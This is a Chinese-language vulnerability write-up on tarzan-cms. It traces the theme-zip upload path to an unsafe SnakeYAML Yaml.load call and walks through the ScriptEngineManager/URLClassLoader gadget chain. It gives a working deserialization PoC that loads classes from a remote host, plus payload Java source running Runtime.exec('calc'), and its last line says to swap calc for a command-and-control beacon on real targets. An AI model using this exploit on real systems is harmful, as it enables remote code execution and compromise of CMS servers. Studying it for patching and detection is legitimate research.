环境搭建

源码:https://gitee.com/taisan/tarzan-cms

修改配置文件账密,导入数据库配置文件



漏洞挖掘

查看maven依赖:snakeyaml:1.27


全局查找核心函数Yaml.load&Yaml.dump

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式

遍历zip数据,查找theme.yaml文件

找不到就返回null

找到就调用Yaml()解析器,解析内容映射键值对,获取name字段

    public static String getZipThemeName(InputStream is) throws IOException {
        ZipInputStream zis=new ZipInputStream(is);
        ZipEntry zipEntry = zis.getNextEntry();
        while (zipEntry != null) {
            if(zipEntry.getName().contains("theme.yaml")){
                Yaml yaml = new Yaml();
                Map<String,Object>  map=yaml.load(zis);
                return (String) map.get("name");
            }
            zipEntry = zis.getNextEntry();
        }
        return null;
    }

跟进getZipThemeName


在主题界面调用upload

    @CacheEvict(value = "theme", allEntries = true)
    public ResponseVo upload(byte[] bytes) {
        try {
            // 获取文件名
            String themeName =  getZipThemeName(new ByteArrayInputStream(bytes));
            if(StringUtil.isEmpty(themeName)){
                return  ResultUtil.error("主题模板解析异常");
            }
            String themePath = cmsProperties.getThemeDir() + File.separator+themeName;
            File themeDir = new File(themePath);
            // 创建文件根目录
            if (!themeDir.exists() && !themeDir.mkdirs()) {
                return  ResultUtil.error("创建文件夹失败");
            }
            if(!FileUtil.isEmpty(Paths.get(themePath))){
                return  ResultUtil.error("主题已安装");
            }
            FileUtil.unzip(bytes, Paths.get(themePath));
            Optional<File> themeRoot= Arrays.stream(themeDir.listFiles()).findFirst();
            FileUtil.copyFolder(Paths.get(themeRoot.get().getPath()),Paths.get(themePath));
            FileUtil.deleteFolder(Paths.get(themeRoot.get().getPath()));
            Theme theme=new Theme();
            theme.setName(themeName);
            theme.setImg("theme"+ File.separator+themeName+File.separator+"screenshot.png");
            theme.setStatus(0);
            save(theme);
        } catch (IOException e) {
            return  ResultUtil.error(e.getMessage());
        }
        return ResultUtil.success();
    }

跟进upload(byte[])方法



继续跟进download来到control层


找到upload接口

@ResponseBody
@PostMapping("/upload")
public ResponseVo upload(@RequestParam(value = "file", required = false) MultipartFile file) {
    return themeService.upload(file);
}

利用链分析

javax/script/ScriptEngineManager.java

反序列化类的层层调用



其中ServiceLoader

  • prefix指定了远程SPI加载器的访问目录
  • service指定了访问远程SPI加载器的具体文件
  • loader指定了远程SPI加载器的地址


回来继续分析iterator()

看到调用lookupIterator.hasNext(),继续跟进hasNext()



继续跟进hasNextService()


fullName就是完整的资源地址

最终就是ServiceLoader.java文件寻找以上调用内容

PREFIX:META-INF/services/
service:javax.script.ScriptEngineFactory
loader:http://attacker.com
fullname:META-INF/services/javax.script.ScriptEngineFactory

漏洞利用

web界面找到主题管理处有上传zip包功能点


POC:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://ttzepj.dnslog.cn"]
  ]]
]

上传数据包测试


得到回显



利用现成项目https://github.com/artsploit/yaml-payload

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}


成功执行,实际环境中calc替换为上线命令即可